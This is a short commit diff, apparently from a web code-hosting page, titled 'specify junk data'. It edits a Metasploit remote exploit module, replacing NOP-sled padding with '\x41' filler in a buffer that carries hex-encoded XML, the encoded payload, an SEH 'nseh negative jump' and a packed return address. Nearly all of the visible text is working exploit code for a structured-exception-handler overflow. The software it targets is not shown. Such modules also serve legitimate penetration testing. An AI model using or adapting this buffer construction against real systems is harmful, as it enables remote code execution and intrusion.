specify junk data
parent
28ad0fccbd
commit
23f51bf265
|
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buffer << "\x3E\x0A\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74"
|
buffer << "\x3E\x0A\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74"
|
||||||
buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22"
|
buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22"
|
||||||
buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22"
|
buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22"
|
||||||
buffer << make_nops(target['Offset']-payload.encoded.length)
|
buffer << "\x41" * (target['Offset']-payload.encoded.length)
|
||||||
buffer << payload.encoded
|
buffer << payload.encoded
|
||||||
buffer << "\xeb\x06\x90\x90" #nseh negative jump
|
buffer << "\xeb\x06\x90\x90" #nseh negative jump
|
||||||
buffer << [target.ret].pack("V")
|
buffer << [target.ret].pack("V")
|
||||||
|
|
Loading…
Reference in New Issue